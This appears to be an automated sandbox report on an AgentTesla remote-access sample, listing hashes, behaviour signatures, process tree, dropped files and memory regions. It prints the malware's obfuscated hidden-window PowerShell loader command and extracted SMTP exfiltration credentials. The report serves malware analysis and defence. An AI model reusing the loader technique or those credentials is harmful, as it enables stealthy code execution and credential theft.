Analysis

  • max time kernel
    147s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-01-2025 01:32

General

  • Target

    8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749.exe

  • Size

    675KB

  • MD5

    1fbec4d33c795d74d3fd1af8a82aff53

  • SHA1

    b508f538024b04aa708bfc4d11527ec9c853be92

  • SHA256

    8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749

  • SHA512

    0b92aafb7fb60027af83ad483f043be0e6fa460f546cda31652b6e7d0232bb4b01e612ca86a8bd7b2765d0a8b5f2b72c9512191a87654f3a5b3cf8d3e1036961

  • SSDEEP

    12288:4gkvgwxI9MhaNkrqsn/6DJ8EfnYiYiZh0AzRYb1gbMgfa:4gk1OnNCz/6NrYkuANYhgk

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    162.254.34.31
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    JaR4LTajHPY5

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749.exe
    "C:\Users\Admin\AppData\Local\Temp\8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Unitiveness=gc -raw 'C:\Users\Admin\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Fortegningerne224.Tre';$Sequanian=$Unitiveness.SubString(72268,3);.$Sequanian($Unitiveness) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4448
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2040

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k3whjzje.1bk.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Circumambience.Har

    Filesize

    311KB

    MD5

    0cca4b877799abab1d5114219048001f

    SHA1

    3201ad6c905cde15c2fa33848584f707d8cfcb3d

    SHA256

    93c1a8b289175a24ac2258f01a7b3455e853e2c490021f28628f90d060170232

    SHA512

    543d744351cbe79c817585ca205a268c52adbf3fbde7044dc69225c387fc819dba1eb8eed9057fd3cd76844b41809610a9295e6bbbcb9e1d1fbda627f304dfc6

  • C:\Users\Admin\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Fortegningerne224.Tre

    Filesize

    70KB

    MD5

    1f675f5bd6e6ddb3b80498213ea9a0c7

    SHA1

    f1996984073ddd59532b87b34b293b1634808db6

    SHA256

    2b92e75250a7e20263bf8434461b0508af2f704ef7679411b348e90fd64163d0

    SHA512

    7a9b02eb1cbb65cb661ebe50fe351dd25019761be750702d65034b1ee5e7c0c6d0a7f52226cc3ce55b091987512b194f70fab3c296bae92e847addfcd2501e23

  • C:\Users\Admin\AppData\Local\Temp\nsq885C.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    59e487d0a38dce3f6be70d153d7b84a0

    SHA1

    0c2ca2fb13731c9f5c53d663dd3804a423736c45

    SHA256

    f19f36b3d8c9f78786eb2dc99d7c7ffbfa1c8236843f139c625a60fde3e6b4c3

    SHA512

    42c80f25e3e49a3a81ec20104feacfc9652410d50ef90020e61c889fb0e94b0e54e1214c37f205a9f180a56dc569628a62d2bed868ffceb3bb3bbbc842403735

  • memory/2040-72-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

  • memory/2040-73-0x0000000000E90000-0x0000000000ED0000-memory.dmp

    Filesize

    256KB

  • memory/2040-78-0x00000000238E0000-0x00000000238EA000-memory.dmp

    Filesize

    40KB

  • memory/2040-77-0x0000000023A40000-0x0000000023AD2000-memory.dmp

    Filesize

    584KB

  • memory/2040-75-0x0000000023900000-0x000000002399C000-memory.dmp

    Filesize

    624KB

  • memory/2040-74-0x0000000023810000-0x0000000023860000-memory.dmp

    Filesize

    320KB

  • memory/4448-48-0x0000000007D90000-0x0000000007E33000-memory.dmp

    Filesize

    652KB

  • memory/4448-53-0x0000000008070000-0x0000000008084000-memory.dmp

    Filesize

    80KB

  • memory/4448-16-0x00000000062B0000-0x0000000006316000-memory.dmp

    Filesize

    408KB

  • memory/4448-15-0x0000000006240000-0x00000000062A6000-memory.dmp

    Filesize

    408KB

  • memory/4448-26-0x0000000006330000-0x0000000006684000-memory.dmp

    Filesize

    3.3MB

  • memory/4448-27-0x0000000006950000-0x000000000696E000-memory.dmp

    Filesize

    120KB

  • memory/4448-28-0x0000000006970000-0x00000000069BC000-memory.dmp

    Filesize

    304KB

  • memory/4448-29-0x0000000006EB0000-0x0000000006F46000-memory.dmp

    Filesize

    600KB

  • memory/4448-31-0x0000000006F50000-0x0000000006F72000-memory.dmp

    Filesize

    136KB

  • memory/4448-30-0x0000000006E60000-0x0000000006E7A000-memory.dmp

    Filesize

    104KB

  • memory/4448-32-0x00000000081A0000-0x0000000008744000-memory.dmp

    Filesize

    5.6MB

  • memory/4448-34-0x0000000008DD0000-0x000000000944A000-memory.dmp

    Filesize

    6.5MB

  • memory/4448-35-0x0000000007D40000-0x0000000007D72000-memory.dmp

    Filesize

    200KB

  • memory/4448-36-0x00000000703F0000-0x000000007043C000-memory.dmp

    Filesize

    304KB

  • memory/4448-38-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-47-0x0000000007D20000-0x0000000007D3E000-memory.dmp

    Filesize

    120KB

  • memory/4448-13-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-49-0x0000000007EB0000-0x0000000007EBA000-memory.dmp

    Filesize

    40KB

  • memory/4448-50-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-51-0x0000000008010000-0x0000000008021000-memory.dmp

    Filesize

    68KB

  • memory/4448-52-0x0000000008060000-0x000000000806E000-memory.dmp

    Filesize

    56KB

  • memory/4448-14-0x00000000061A0000-0x00000000061C2000-memory.dmp

    Filesize

    136KB

  • memory/4448-54-0x00000000080B0000-0x00000000080CA000-memory.dmp

    Filesize

    104KB

  • memory/4448-55-0x00000000080A0000-0x00000000080A8000-memory.dmp

    Filesize

    32KB

  • memory/4448-56-0x0000000008100000-0x000000000812A000-memory.dmp

    Filesize

    168KB

  • memory/4448-57-0x0000000008130000-0x0000000008154000-memory.dmp

    Filesize

    144KB

  • memory/4448-58-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-60-0x0000000073F6E000-0x0000000073F6F000-memory.dmp

    Filesize

    4KB

  • memory/4448-61-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-62-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-64-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-65-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-67-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-68-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-66-0x0000000009450000-0x000000000C554000-memory.dmp

    Filesize

    49.0MB

  • memory/4448-69-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-11-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-12-0x0000000005A80000-0x00000000060A8000-memory.dmp

    Filesize

    6.2MB

  • memory/4448-10-0x0000000003370000-0x00000000033A6000-memory.dmp

    Filesize

    216KB

  • memory/4448-9-0x0000000073F6E000-0x0000000073F6F000-memory.dmp

    Filesize

    4KB

  • memory/4448-70-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB

  • memory/4448-71-0x0000000073F60000-0x0000000074710000-memory.dmp

    Filesize

    7.7MB